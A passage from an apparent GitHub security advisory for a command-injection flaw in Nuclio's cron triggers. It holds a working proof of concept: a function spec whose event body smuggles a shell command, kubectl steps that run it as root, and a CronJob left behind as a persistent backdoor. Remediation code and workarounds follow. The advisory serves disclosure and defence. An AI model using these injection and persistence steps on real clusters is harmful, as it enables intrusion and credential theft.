nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n  name: vul010-body-inject\n  namespace: nuclio\n  labels:\n    nuclio.io/project-name: default\nspec:\n  image: placeholder-function:latest\n  runtime: python:3.9\n  handler: main:handler\n  build:\n    functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n  triggers:\n    cron-body:\n      kind: cron\n      attributes:\n        schedule: \"*/1 * * * *\"\n        event:\n          body: \"$(id 1>&2; echo BODY_INJECTION_PROOF)\"\n  minReplicas: 1\n  maxReplicas: 1\nEOF\n\nkubectl patch nucliofunction vul010-body-inject -n nuclio \\\n    --context kind-vul-010 \\\n    --type=merge \\\n    -p '{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}'\n```\n\n**Step 11 — Verify CronJob command (static)**\n\n```bash\nsleep 15\nCJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n    -l \"nuclio.io/function-name=vul010-body-inject\" \\\n    -o jsonpath='{.items[0].metadata.name}')\n\nkubectl get cronjob \"$CJ_NAME_B\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \\\n    | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n    \"/bin/sh\",\n    \"-c\",\n    \"echo \\\"$(id 1>&2; echo BODY_INJECTION_PROOF)\\\" > /tmp/eventbody.out && curl --silent  --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-body-inject\\\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ...\"\n]\n```\n\n`$()` is present unescaped inside a double-quoted string passed to `/bin/sh -c`.\n\n**Step 12 — Dynamic execution**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME_B\" \\\n    vul010-body-proof -n nuclio --context kind-vul-010\n\nPOD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n    -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')\n\nkubectl logs \"$POD_B\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/bin/sh: curl: not found\n```\n\n`id` ran as root via `$()` expansion before `curl` was even attempted.\n\n---\n\n### Persistence Verification\n\n**Step 13 — Confirm CronJob has no ownerReferences**\n\n```bash\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n    -o jsonpath='{.metadata.ownerReferences}'\n```\n\nExpected: empty (no output)\n\n**Step 14 — Simulate controller crash during function deletion**\n\n```bash\n# Stop the controller\nkubectl scale deployment nuclio-controller -n nuclio \\\n    --context kind-vul-010 --replicas=0\n\n# Delete the function\nkubectl delete nucliofunction vul010-rce-visible -n nuclio \\\n    --context kind-vul-010\n\nsleep 5\n\n# Function is gone — CronJob remains\nkubectl get nucliofunction -n nuclio --context kind-vul-010\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nActual output from verification:\n```\n# NuclioFunctions:\nNAME                  AGE\nvul010-body-inject2   2m30s\n(vul010-rce-visible deleted — not listed)\n\n# CronJobs:\nNAME                                   SCHEDULE      SUSPEND   ACTIVE\nnuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0\n(CronJob belonging to the deleted function — still running)\n```\n\n**Step 15 — Execute the persistent backdoor**\n\n```bash\nkubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \\\n    vul010-persist-backdoor -n nuclio --context kind-vul-010\n\nkubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\nPERSISTENT_BACKDOOR_ACTIVE\n: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...\n```\n\nThe injected command executes after the source function has been deleted.\n\n---\n\n### Cleanup\n\n```bash\nkubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null\nkubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null\nkind delete cluster --name vul-010\n```\n\n---\n\n## Impact\n\n**Remote Code Execution**: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.\n\n**Runs as root**: Every CronJob pod confirmed running as `uid=0(root)` during verification.\n\n**ServiceAccount token exfiltration**: The pod's mounted SA token (`/var/run/secrets/ kubernetes.io/serviceaccount/token`) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected `curl` call. This token enables:\n- Enumeration of Kubernetes API resources in the `nuclio` namespace\n- In misconfigured clusters, cluster-wide API access\n\n**Persistent backdoor**: The CronJob resource has no `ownerReferences` and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.\n\n**Cloud environment lateral movement**: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.\n\n---\n\n## Severity\n\n**Critical — CVSS 3.1 Score: 9.9**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Dashboard is network-accessible |\n| Attack Complexity | Low | No preconditions; straightforward payload |\n| Privileges Required | None | NOP auth is the default configuration |\n| User Interaction | None | Fully automated via API |\n| Scope | Changed | Impact crosses pod boundary into cluster |\n| Confidentiality | High | SA token, secrets readable |\n| Integrity | High | Arbitrary command execution as root |\n| Availability | High | Persistent CronJob can exhaust cluster resources |\n\n---\n\n## Affected Versions\n\nAll Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.\n\n- **Confirmed affected**: 1.15.27 (latest as of 2026-05-17, dynamically verified)\n- **Earliest affected**: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.4\n\n---\n\n## Workarounds\n\n1. **Network-level restriction**: Place the Nuclio Dashboard behind an authenticated\n   reverse proxy or restrict port 8070 to trusted networks only. This limits who can\n   submit function specifications.\n\n2. **Disable cron triggers**: If cron trigger functionality is not required, avoid creating\n   functions with `kind: cron` triggers.\n\n3. **RBAC restriction**: Remove the `batch` API group permission from the Nuclio controller\n   ServiceAccount to prevent CronJob creation. Note: this disables cron trigger\n   functionality entirely.\n\nNone of the above eliminate the root cause; they only reduce exposure.\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/platform/kube/functionres/lazy.go`\n  - Path-A: line 2150 — header key interpolation\n  - Path-B: lines 2188-2189 — body interpolation with `strconv.Quote`\n  - Execution sink: line 2212 — `Args: []string{\"/bin/sh\", \"-c\", curlCommand}`\n- Go `strconv.Quote` documentation: does not escape `$`, `(`, `)`, or backticks\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command\n- CVSS 3.1 Calculator: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Remediation\n\n**P0 — Eliminate the shell layer (preferred fix)**\n\nReplace the `/bin/sh -c <string>` invocation with an exec-format argument list. This\nremoves shell interpretation entirely:\n\n```go\n// Current (vulnerable): lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n\n// Fixed: build curl args as a []string slice\nfunc buildCurlArgs(headers map[string]string, body, address string) []string {\n    args := []string{\"curl\", \"--silent\"}\n    for k, v := range headers {\n        args = append(args, \"--header\", k+\": \"+v)\n    }\n    if body != \"\" {\n        args = append(args, \"--data\", body)\n    }\n    args = append(args, \"--retry\", \"10\", \"--retry-delay\", \"1\",\n        \"--retry-max-time\", \"10\", \"--retry-connrefused\", address)\n    return args\n}\n\n// Container spec:\nContainer{\n    Command: nil,\n    Args:    buildCurlArgs(headersMap, eventBody, functionAddress),\n}\n```\n\nWith exec format, each argument is passed directly to the process without shell\ninterpretation. No quoting or escaping is needed.\n\n**P1 — Shell-safe quoting (fallback if shell is required)**\n\nIf the shell invocation must be retained, apply proper POSIX shell quoting to all\nuser-supplied values before interpolation. The equivalent of Python's `shlex.quote`\nmust be implemented in Go:\n\n```go\nfunc shellQuote(s string) string {\n    return \"'\" + strings.ReplaceAll(s, \"'\", \"'\\\\''\") + \"'\"\n}\n```\n\nApply to both `headerKey`, `headerValue`, and `eventBody` before inserting into the\ncommand string.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nuclio/nuclio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260601075854-3356b86a8bfa"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/security/advisories/GHSA-v5px-423j-pf7p"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/commit/3356b86a8bfab3f960aa420310ebff765df9dede"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuclio/nuclio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuclio/nuclio/releases/tag/1.16.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-08T20:24:20Z",
    "nvd_published_at" : null
  }
}